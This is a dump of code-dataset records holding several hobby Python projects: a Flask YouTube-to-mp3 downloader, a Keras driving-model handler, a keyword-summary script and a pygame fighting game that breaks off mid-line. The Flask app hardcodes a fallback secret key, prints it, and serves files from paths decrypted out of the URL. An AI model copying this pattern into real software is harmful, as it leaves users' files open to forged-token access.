{"api_name": "cv2.IMREAD_UNCHANGED", "line_number": 71, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 72, "usage_type": "call"}, {"api_name": "cv2.IMREAD_UNCHANGED", "line_number": 72, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 73, "usage_type": "call"}, {"api_name": "cv2.IMREAD_UNCHANGED", "line_number": 73, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 74, "usage_type": "call"}, {"api_name": "cv2.IMREAD_UNCHANGED", "line_number": 74, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 75, "usage_type": "call"}, {"api_name": "cv2.IMREAD_UNCHANGED", "line_number": 75, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.IMREAD_UNCHANGED", "line_number": 76, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.IMREAD_UNCHANGED", "line_number": 77, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 78, "usage_type": "call"}, {"api_name": "cv2.IMREAD_UNCHANGED", "line_number": 78, "usage_type": "attribute"}, {"api_name": "cv2.Canny", "line_number": 83, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 84, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 86, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 87, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 89, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 90, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 95, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 96, "usage_type": "call"}, {"api_name": "cv2.matchTemplate", "line_number": 99, "usage_type": "call"}, {"api_name": "cv2.TM_CCORR_NORMED", "line_number": 99, "usage_type": "attribute"}, {"api_name": "cv2.matchTemplate", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.TM_CCORR_NORMED", "line_number": 100, "usage_type": "attribute"}, {"api_name": "cv2.matchTemplate", "line_number": 101, "usage_type": "call"}, {"api_name": "cv2.TM_CCORR_NORMED", "line_number": 101, "usage_type": "attribute"}, {"api_name": "cv2.matchTemplate", "line_number": 102, "usage_type": "call"}, {"api_name": "cv2.TM_CCORR_NORMED", "line_number": 102, "usage_type": "attribute"}, {"api_name": "cv2.matchTemplate", "line_number": 103, "usage_type": "call"}, {"api_name": "cv2.TM_CCORR_NORMED", "line_number": 103, "usage_type": "attribute"}, {"api_name": "cv2.matchTemplate", "line_number": 104, "usage_type": "call"}, {"api_name": "cv2.TM_CCORR_NORMED", "line_number": 104, "usage_type": "attribute"}, {"api_name": "cv2.matchTemplate", "line_number": 105, "usage_type": "call"}, {"api_name": "cv2.TM_CCORR_NORMED", "line_number": 105, "usage_type": "attribute"}, {"api_name": "cv2.matchTemplate", "line_number": 110, "usage_type": "call"}, {"api_name": "cv2.TM_CCORR_NORMED", "line_number": 110, "usage_type": "attribute"}, {"api_name": "cv2.matchTemplate", "line_number": 111, "usage_type": "call"}, {"api_name": "cv2.TM_CCORR_NORMED", "line_number": 111, "usage_type": "attribute"}, {"api_name": "cv2.minMaxLoc", "line_number": 114, "usage_type": "call"}, {"api_name": "cv2.minMaxLoc", "line_number": 115, "usage_type": "call"}, {"api_name": "cv2.minMaxLoc", "line_number": 116, "usage_type": "call"}, {"api_name": "cv2.minMaxLoc", "line_number": 117, "usage_type": "call"}, {"api_name": "cv2.minMaxLoc", "line_number": 118, "usage_type": "call"}, {"api_name": "cv2.minMaxLoc", "line_number": 119, "usage_type": "call"}, {"api_name": "cv2.minMaxLoc", "line_number": 120, "usage_type": "call"}, {"api_name": "cv2.minMaxLoc", "line_number": 126, "usage_type": "call"}, {"api_name": "cv2.minMaxLoc", "line_number": 127, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 171, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 174, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 178, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 182, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 187, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 192, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 197, "usage_type": "call"}, {"api_name": "cv2.copyMakeBorder", "line_number": 199, "usage_type": "call"}, {"api_name": "cv2.BORDER_CONSTANT", "line_number": 199, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 205, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 208, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 208, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 209, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 209, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 217, "usage_type": "call"}, {"api_name": "translate.TranslateTool.googleDict", "line_number": 241, "usage_type": "call"}, {"api_name": "translate.TranslateTool", "line_number": 241, "usage_type": "name"}, {"api_name": "translate.TranslateTool.googleDict", "line_number": 242, "usage_type": "call"}, {"api_name": "translate.TranslateTool", "line_number": 242, "usage_type": "name"}, {"api_name": "translate.TranslateTool.googleModule", "line_number": 250, "usage_type": "call"}, {"api_name": "translate.TranslateTool", "line_number": 250, "usage_type": "name"}, {"api_name": "translate.TranslateTool.googleModule", "line_number": 251, "usage_type": "call"}, {"api_name": "translate.TranslateTool", "line_number": 251, "usage_type": "name"}, {"api_name": "translate.TranslateTool.azure", "line_number": 265, "usage_type": "call"}, {"api_name": "translate.TranslateTool", "line_number": 265, "usage_type": "name"}, {"api_name": "translate.TranslateTool.azure", "line_number": 266, "usage_type": "call"}, {"api_name": "translate.TranslateTool", "line_number": 266, "usage_type": "name"}, {"api_name": "translate.TranslateTool.ibm", "line_number": 269, "usage_type": "call"}, {"api_name": "translate.TranslateTool", "line_number": 269, "usage_type": "name"}, {"api_name": "translate.TranslateTool.ibm", "line_number": 270, "usage_type": "call"}, {"api_name": "translate.TranslateTool", "line_number": 270, "usage_type": "name"}, {"api_name": "cv2.rectangle", "line_number": 277, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 278, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 278, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 279, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 279, "usage_type": "name"}, {"api_name": "translate.TranslateTool.googleDict", "line_number": 307, "usage_type": "call"}, {"api_name": "translate.TranslateTool", "line_number": 307, "usage_type": "name"}, {"api_name": "translate.TranslateTool.googleModule", "line_number": 310, "usage_type": "call"}, {"api_name": "translate.TranslateTool", "line_number": 310, "usage_type": "name"}, {"api_name": "translate.TranslateTool.azure", "line_number": 323, "usage_type": "call"}, {"api_name": "translate.TranslateTool", "line_number": 323, "usage_type": "name"}, {"api_name": "translate.TranslateTool.ibm", "line_number": 325, "usage_type": "call"}, {"api_name": "translate.TranslateTool", "line_number": 325, "usage_type": "name"}, {"api_name": "cv2.rectangle", "line_number": 333, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 334, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 334, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 338, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 338, "usage_type": "name"}, {"api_name": "textwrap.wrap", "line_number": 341, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 361, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 363, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 365, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 366, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 380, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 381, "usage_type": "call"}]}
{"seq_id": "1310091225", "text": "import os\nimport time\nimport multiprocessing\n\nimport cryptography.fernet\nimport yt_dlp\nimport flask\nfrom flask import render_template, redirect, url_for, request, jsonify, send_from_directory, send_file\n\napp = flask.Flask(__name__)\napp.secret_key = os.getenv('SECRET_KEY', 'F_hj658g_Ii0ay0LW_4ob3Iy6rTGDHYoOkof07HcHsM=').encode('utf-8')\n\nsave_path = r'downloads/'\n\nytdl_params = {\n    'outtmpl': save_path + '%(title)s_not_ready.%(ext)s',\n    'updatetime': False,\n\n    'format': 'bestaudio/best',\n    'postprocessors': [{\n        'key': 'FFmpegExtractAudio',\n        'preferredcodec': 'mp3',\n        'preferredquality': '192',\n    }],\n}\n\nytdl = yt_dlp.YoutubeDL(ytdl_params)\n\n\ndef cleaner_func():\n    while True:\n        time.sleep(1800)\n        try:\n            for i in os.listdir(app.root_path + '/to_delete'):\n                os.remove(os.path.join(app.root_path, 'to_delete', i))\n        except Exception as e:\n            print(e)\n        finally:\n            pass\n\n\n@app.before_first_request\ndef init_downloads_cleaner():\n    process = multiprocessing.Process(target=cleaner_func, args=())\n    process.start()\n\n\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n\ndef download_from_info(info, filename, receipt):\n    out = ytdl.process_ie_result(info)\n    os.renames(os.path.join(app.root_path, filename), os.path.join(app.root_path, receipt))\n    return out\n\n\n@app.route('/get_receipt')\ndef get_receipt():\n    url = request.args.get('url')\n    info = ytdl.extract_info(url, download=False)\n    filename = '.'.join(ytdl.prepare_filename(info).split('.')[:-1]) + '.mp3'\n    receipt = filename.replace('_not_ready', '')\n    downloader_process = multiprocessing.Process(target=download_from_info, args=(info, filename, receipt))\n    downloader_process.start()\n    return receipt\n\n\n@app.route('/get_url')\ndef get_url():\n    receipt = request.args.get('receipt')\n    if os.path.exists(os.path.join(app.root_path, receipt)):\n        return get_encoded_filepath(receipt)\n    else:\n        return \"\"\n\n\ndef get_encoded_filepath(filename):\n    print(f'Encoding:\\nkey:{app.secret_key}')\n    encoder = cryptography.fernet.Fernet(app.secret_key)\n    encoded = encoder.encrypt(filename.encode('utf-8'))\n    print(f'encoded:{encoded}')\n    return encoded\n\n\ndef get_filepath(url):\n    print(f'Decoding:\\nkey:{app.secret_key}')\n    decoded = cryptography.fernet.Fernet(app.secret_key).decrypt(url.encode('utf-8')).decode('utf-8')\n    print(f'decoded:{decoded}')\n    return decoded\n\n\n@app.route('/get_data/<url>')\ndef get_data(url):\n    filename = get_filepath(url)\n    (head, file) = os.path.split(filename)\n    (head, _) = os.path.split(head)\n    new_filename = os.path.join(head, 'to_delete', file)\n    try:\n        os.renames(os.path.join(app.root_path, filename), os.path.join(app.root_path, new_filename))\n    except FileExistsError:\n        os.remove(os.path.join(app.root_path, filename))\n    out = send_file(new_filename, as_attachment=True)\n    return out\n\n\nif __name__ == '__main__':\n    app.run()\n", "repo_name": "MikeTkachuk/Youtube_dl_server", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3018, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 10, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 11, "usage_type": "call"}, {"api_name": "yt_dlp.YoutubeDL", "line_number": 27, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 32, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 34, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "multiprocessing.Process", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 50, "usage_type": "call"}, {"api_name": "os.renames", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "flask.request.args.get", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 61, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 61, "usage_type": "name"}, {"api_name": "multiprocessing.Process", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 72, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 72, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 72, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 73, "usage_type": "call"}, {"api_name": "cryptography.fernet.fernet.Fernet", "line_number": 81, "usage_type": "call"}, {"api_name": "cryptography.fernet.fernet", "line_number": 81, "usage_type": "attribute"}, {"api_name": "cryptography.fernet", "line_number": 81, "usage_type": "name"}, {"api_name": "cryptography.fernet.fernet.Fernet", "line_number": 89, "usage_type": "call"}, {"api_name": "cryptography.fernet.fernet", "line_number": 89, "usage_type": "attribute"}, {"api_name": "cryptography.fernet", "line_number": 89, "usage_type": "name"}, {"api_name": "os.path.split", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "os.renames", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "flask.send_file", "line_number": 104, "usage_type": "call"}]}
{"seq_id": "71099826811", "text": "import os\nimport json\nfrom keras.optimizers import Adam\nfrom keras.models import model_from_json\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Convolution2D, ELU\nfrom keras.layers import Flatten, BatchNormalization, Cropping2D\nfrom keras.layers import Lambda, Input\nfrom keras.backend import tf as ktf\n\n\nclass model:\n    \"\"\"Create/Save/Load training models\"\"\"\n\n    def __init__(self, model_path=None, weight_name = None, json_name = None):\n        self.model_weight_path = model_path + weight_name\n        self.model_json_path = model_path + json_name\n        self.model = None \n        self.model_name = None\n        self.weights = None\n        self.json = None\n        self.default_path = \"../model\"\n\n    def load_model(self):\n        \"\"\"Load a given model. Default model is VGG \"\"\"\n        print(self.model_json_path)\n        with open(self.model_json_path, 'r') as f:\n            string = f.read()\n            val = json.loads(string)\n            print(type(val))\n            self.model = model_from_json(val)\n        self.model.load_weights(self.model_weight_path)\n\n    def save_model(self):\n        \"\"\"Save the model.\"\"\"\n        if os.path.exists(self.model_weight_path):\n            os.remove(self.model_weight_path)\n\n        self.model.save_weights(self.model_weight_path)\n        json_string = self.model.to_json()\n\n        if os.path.exists(self.model_json_path):\n            os.remove(self.model_json_path)\n\n        with open(self.model_json_path, 'w') as json_file:\n            json_file.write(json_string)\n        print(\"model saved to disk...\")\n\n    def create_comma_model(self, shape):\n        \"\"\"Create comma.ai model.\"\"\"\n        model = Sequential()\n        #crop image.\n        # model.add(Cropping2D(cropping=((50, 20), (0, 0)), input_shape=(160, 320, 3)))\n        # inp = Input(None, None, 3)\n        # model.add(Lambda(lambda x: ktf.image.resize_images(x, (shape[0], shape[1]))))\n\n        # Input image of the form row, column and channel.\n        print(\"shape is: \", shape)\n        # model.add(Lambda(lambda x: x / 127.5 - 1., input_shape=(shape[0], shape[1], 3),\n        #                  output_shape=(shape[0], shape[1], 3)))\n        model.add(BatchNormalization(input_shape=(shape[0], shape[1], 3), axis=1))\n        model.add(ELU())\n        model.add(Convolution2D(16, 8, 8, subsample=(4, 4), border_mode='same'))\n        model.add(ELU())\n        model.add(Convolution2D(32, 5, 5, subsample=(2, 2), border_mode='same'))\n        model.add(ELU())\n        model.add(Convolution2D(64, 5, 5, subsample=(2, 2), border_mode='same'))\n        \n        model.add(Flatten())\n        model.add(Dropout(.2))\n        model.add(ELU())\n        model.add(Dense(512))\n        model.add(Dropout(.5))\n        model.add(ELU())\n        model.add(Dense(1))\n        opt = Adam()\n        model.compile(loss='mean_squared_error', optimizer=opt)\n        self.model = model\n\n        return model\n\n    def vgg_model(self):\n        \"\"\" Pretrained VGG based model. \"\"\"\n        pass\n\n    def create_nvidia_model(self, shape):\n        \"\"\"Create model based on end to end learning.\"\"\"\n        model = Sequential()\n        model.add(Cropping2D(cropping=((50, 20), (0, 0)), input_shape=(160, 320, 3)))\n        model.add(Lambda(lambda x: ktf.image.resize_images(x, (shape[0], shape[1]))))\n        model.add(Lambda(lambda x: x / 127.5 - 1., input_shape=(3, shape[0], shape[1]),\n                         output_shape=(3, shape[0], shape[1])))\n        model.add(BatchNormalization(epsilon=0.001, mode=2, axis=1, input_shape=(2, shape[0], shape[1])))\n        model.add(Convolution2D(24, 5, 5, border_mode='valid', activation='relu', subsample=(2, 2)))\n        model.add(Convolution2D(36, 5, 5, border_mode='valid', activation='relu', subsample=(2, 2)))\n        model.add(Convolution2D(48, 5, 5, border_mode='valid', activation='relu', subsample=(2, 2)))\n        model.add(Convolution2D(64, 3, 3, border_mode='valid', activation='relu', subsample=(1, 1)))\n        model.add(Convolution2D(64, 3, 3, border_mode='valid', activation='relu', subsample=(1, 1)))\n\n        model.add(Flatten())\n        model.add(Dense(1164, activation='relu'))\n        model.add(Dense(100, activation='relu'))\n        model.add(Dense(50, activation='relu'))\n        model.add(Dense(10, activation='relu'))\n        model.add(Dense(1, activation='relu'))\n        model.summary()\n\n        model.compile(optimizer='adam', loss='mse')\n        self.model = model\n        return model\n\n\n    def create_model(self, model_name):\n        \"\"\"Create model. If already exists load the model.\"\"\"\n        full_path = self.default_path + model_name\n        if os.path.isfile(full_path):\n            self.model_name = model_name\n            self.load_model(model_name)\n        else:\n            if model_name == 'nvidia':\n                shape = [128, 128]\n                self.model_name = model_name\n                self.create_nvidia_model(shape)\n            elif model_name == 'comma':\n                shape = [160, 320]\n                self.model_name = model_name\n                self.create_comma_model(shape)\n            else:\n                pass # Raise exception.\n        return self.model\n\n    def print_model(self):\n        \"\"\"Print the model structure.\"\"\"\n        self.model.summary()\n\n\n\n\n\n\n\n\n", "repo_name": "macrobib/udacity_behaviour_cloning", "sub_path": "src/modelHandler.py", "file_name": "modelHandler.py", "file_ext": "py", "file_size_in_byte": 5282, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "json.loads", "line_number": 29, "usage_type": "call"}, {"api_name": "keras.models.model_from_json", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 43, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 51, "usage_type": "call"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 61, "usage_type": "call"}, {"api_name": "keras.layers.ELU", "line_number": 62, "usage_type": "call"}, {"api_name": "keras.layers.Convolution2D", "line_number": 63, "usage_type": "call"}, {"api_name": "keras.layers.ELU", "line_number": 64, "usage_type": "call"}, {"api_name": "keras.layers.Convolution2D", "line_number": 65, "usage_type": "call"}, {"api_name": "keras.layers.ELU", "line_number": 66, "usage_type": "call"}, {"api_name": "keras.layers.Convolution2D", "line_number": 67, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 69, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 70, "usage_type": "call"}, {"api_name": "keras.layers.ELU", "line_number": 71, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 72, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 73, "usage_type": "call"}, {"api_name": "keras.layers.ELU", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 75, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 76, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 88, "usage_type": "call"}, {"api_name": "keras.layers.Cropping2D", "line_number": 89, "usage_type": "call"}, {"api_name": "keras.layers.Lambda", "line_number": 90, "usage_type": "call"}, {"api_name": "keras.backend.tf.image.resize_images", "line_number": 90, "usage_type": "call"}, {"api_name": "keras.backend.tf.image", "line_number": 90, "usage_type": "attribute"}, {"api_name": "keras.backend.tf", "line_number": 90, "usage_type": "name"}, {"api_name": "keras.layers.Lambda", "line_number": 91, "usage_type": "call"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 93, "usage_type": "call"}, {"api_name": "keras.layers.Convolution2D", "line_number": 94, "usage_type": "call"}, {"api_name": "keras.layers.Convolution2D", "line_number": 95, "usage_type": "call"}, {"api_name": "keras.layers.Convolution2D", "line_number": 96, "usage_type": "call"}, {"api_name": "keras.layers.Convolution2D", "line_number": 97, "usage_type": "call"}, {"api_name": "keras.layers.Convolution2D", "line_number": 98, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 100, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 101, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 102, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 103, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 104, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}]}
{"seq_id": "45394688232", "text": "import pickle\nimport pandas as pd\nimport os\nfrom collections import Counter, defaultdict\nos.chdir(\"../archives\")\n\nresults = defaultdict(dict)\nresults_nointersection = defaultdict(dict)\n\nparticipant_list = [\"P01\", \"P02\", \"P03\", \"P04\", \"P05\", \"P06\", \"P07\", \"P08\", \"P11\", \"P12\", \"P13\", \"P14\", \"P15\", \"P16\", \"P17\", \"P18\", \"P19\"]\n\nfor p in participant_list:\n\n    print()\n    print(p)\n    print()\n\n    tasks = {}\n\n    with open(p + \"/ranked_filtered.pkl\", \"rb\") as f:\n        data = pickle.load(f)\n\n    for i in range(1,7):\n        keywords = []\n        [keywords.extend(x) for x in data[i]]\n        top10 = Counter(keywords).most_common(10)\n        results[p][i] = \", \".join([x[0] for x in top10])\n        tasks[i] = set(keywords)\n\n    intersection = tasks[1].intersection(tasks[2], tasks[3], tasks[4], tasks[5], tasks[6])\n\n    print()\n    print(\"intersection\")\n    print(intersection)\n\n    for i in range(1,7):\n        keywords = []\n        [keywords.extend(x.difference(intersection)) for x in data[i]]\n        top10 = Counter(keywords).most_common(10)\n        results_nointersection[p][i] = \", \".join([x[0] for x in top10])\n\ndf = pd.DataFrame(results)\ndf.transpose().to_excel(\"simpleSummarizations.xlsx\", sheet_name=\"Simple\")\n\ndf = pd.DataFrame(results_nointersection)\ndf.transpose().to_excel(\"summarizations.xlsx\", sheet_name=\"Without Intersection\")\n", "repo_name": "csatterfield/TaskDetection-analysis", "sub_path": "report.py", "file_name": "report.py", "file_ext": "py", "file_size_in_byte": 1349, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.chdir", "line_number": 5, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 7, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 8, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 21, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 26, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 42, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 45, "usage_type": "call"}]}
{"seq_id": "17549215085", "text": "import pygame\nimport math\nimport time\nimport random\n\nAncho=598\nAlto= 700\n\nBlanco=[255,255,255]\nNegro=[0,0,0]\nAmarillo=[255,255,0]\nAzul=[0,102,255]\nNaranja=[255,160,16]\n##---------------------------botones--------------------------------------\nclass Cursor(pygame.Rect):\n    def __init__(self):\n        pygame.Rect.__init__(self,0,0,1,1)\n    def update(self):\n        self.left,self.top=pygame.mouse.get_pos()\n\nclass Boton(pygame.sprite.Sprite):\n    def __init__(self,imagen1,imagen2,x=200,y=200):\n        self.imagen_normal=imagen1\n        self.imagen_seleccion=imagen2\n        self.imagen_actual=self.imagen_normal\n        self.rect=self.imagen_actual.get_rect()\n        self.rect.left,self.rect.top=(x,y)\n    def update(self,pantalla,cursor):\n        if cursor.colliderect(self.rect):\n            self.imagen_actual=self.imagen_seleccion\n        else: self.imagen_actual=self.imagen_normal\n        \n        pantalla.blit(self.imagen_actual,self.rect)\n ##---------------------------Platafoma--------------------------------------\nclass Plataforma(pygame.sprite.Sprite):\n    def __init__(self, an , al, pos):\n    \n        pygame.sprite.Sprite.__init__(self)\n        self.image = pygame.Surface([an,al])\n        self.image.fill(Azul)\n        self.rect=self.image.get_rect()\n        self.rect.x=pos[0]\n        self.rect.y=pos[1]\n ##---------------------------Jugadores--------------------------------------\nclass Jugador(pygame.sprite.Sprite):\n\n    def __init__(self,m,lim,accion):\n\n        pygame.sprite.Sprite.__init__(self)\n        self.m=m\n        self.accion=accion\n        self.con=0\n        self.lim=lim\n\n        self.image =m[self.accion][self.con]\n        self.rect=self.image.get_rect()\n        self.vel_x=0\n        self.vel_y=0\n        self.salto=False\n        self.salud=350\n    \n    def gravedad(self,val):\n        if self.vel_y == 0:\n            self.vel_y=4\n        else:\n            self.vel_y += val\n\n    def update(self,plataforma_lista):\n        self.gravedad(0.4)\n\n         # Mover arriba/abajo\n        self.rect.y += self.vel_y\n        \n        # Revisamos si chocamos\n        bloque_col_list = pygame.sprite.spritecollide(self,plataforma_lista, False)\n        for bloque in bloque_col_list:\n            \n            # Reiniciamos posicion basado en el arriba/bajo del objeto\n            if self.vel_y > 0:\n                self.rect.bottom = bloque.rect.top\n            elif self.vel_y < 0:\n                self.rect.top = bloque.rect.bottom\n            \n            # Detener movimiento vertical\n            self.vel_y = 0\n        \n         # Mover izq/der\n        self.rect.x += self.vel_x\n        \n        # Revisar si golpeamos con algo (bloques con colision)\n        bloque_col_list = pygame.sprite.spritecollide(self , plataforma_lista, False)\n        for bloque in bloque_col_list:\n            # Si nos movemos a la derecha,\n            # ubicar jugador a la izquierda del objeto golpeado\n            if self.vel_x > 0:\n                self.rect.right = bloque.rect.left\n            elif self.vel_x < 0:\n                # De otra forma nos movemos a la izquierda\n                self.rect.left = bloque.rect.right\n\n        self.image =m[self.accion][self.con]\n        if self.con<self.lim[self.accion]:\n            self.con+=1\n        else:\n            self.con=0\nclass Jugador2(pygame.sprite.Sprite):\n    def __init__(self,m1,lim,accion):\n\n        pygame.sprite.Sprite.__init__(self)\n        self.m1=m1\n        self.accion=accion\n        self.con=0\n        self.lim=lim\n\n        self.image =m1[self.accion][self.con]\n        self.rect=self.image.get_rect()\n        self.vel_x=0\n        self.vel_y=0\n        self.salto=False\n        self.salud=350\n    \n    def gravedad(self,val):\n        if self.vel_y == 0:\n            self.vel_y=4\n        else:\n            self.vel_y += val\n    \n    def update(self,plataforma_lista):\n\n        self.gravedad(0.4)\n\n         # Mover arriba/abajo\n        self.rect.y += self.vel_y\n        \n        # Revisamos si chocamos\n        bloque_col_list = pygame.sprite.spritecollide(self,plataforma_lista, False)\n        for bloque in bloque_col_list:\n            \n            # Reiniciamos posicion basado en el arriba/bajo del objeto\n            if self.vel_y > 0:\n                self.rect.bottom = bloque.rect.top\n            elif self.vel_y < 0:\n                self.rect.top = bloque.rect.bottom\n            \n            # Detener movimiento vertical\n            self.vel_y = 0\n        \n         # Mover izq/der\n        self.rect.x += self.vel_x\n        \n        # Revisar si golpeamos con algo (bloques con colision)\n        bloque_col_list = pygame.sprite.spritecollide(self,plataforma_lista, False)\n        for bloque in bloque_col_list:\n            # Si nos movemos a la derecha,\n            # ubicar jugador a la izquierda del objeto golpeado\n            if self.vel_x > 0:\n                self.rect.right = bloque.rect.left\n            elif self.vel_x < 0:\n                # De otra forma nos movemos a la izquierda\n                self.rect.left = bloque.rect.right\n\n        self.image =m1[self.accion][self.con]\n        if self.con<self.lim[self.accion]:\n            self.con+=1\n        else:\n            self.con=0\n    \nBandPantalla=0\nBandNivel=0\nNivel=1\nContSaltos= 0\nContSaltosFuera= 0\nContSaltos2= 0\nContSaltosFuera2=0\n\nselectJugador1=0\nselectJugador2=0\n\nContVictoria1=0\nContVictoria2=0\n\ncontInst=0\ncontHis=0\n\nminutes = 0\nseconds = 0\nmilliseconds = 0\n\nif __name__ == '__main__':\n    pygame.init()\n    \n    iniciar=pygame.image.load('iniciar.png')\n    iniciar2=pygame.image.load('iniciar2.png')\n    historia=pygame.image.load('historia.png')\n    historia2=pygame.image.load('historia2.png')\n    instrucciones=pygame.image.load('instrucciones.png')\n    instrucciones2=pygame.image.load('instrucciones2.png')\n    salir=pygame.image.load('salir.png')\n    salir2=pygame.image.load('salir2.png')\n    jugar= pygame.image.load('jugar.png')\n    jugar2=pygame.image.load('jugar2.png')\n    next1= pygame.image.load('ok.png')\n    next2= 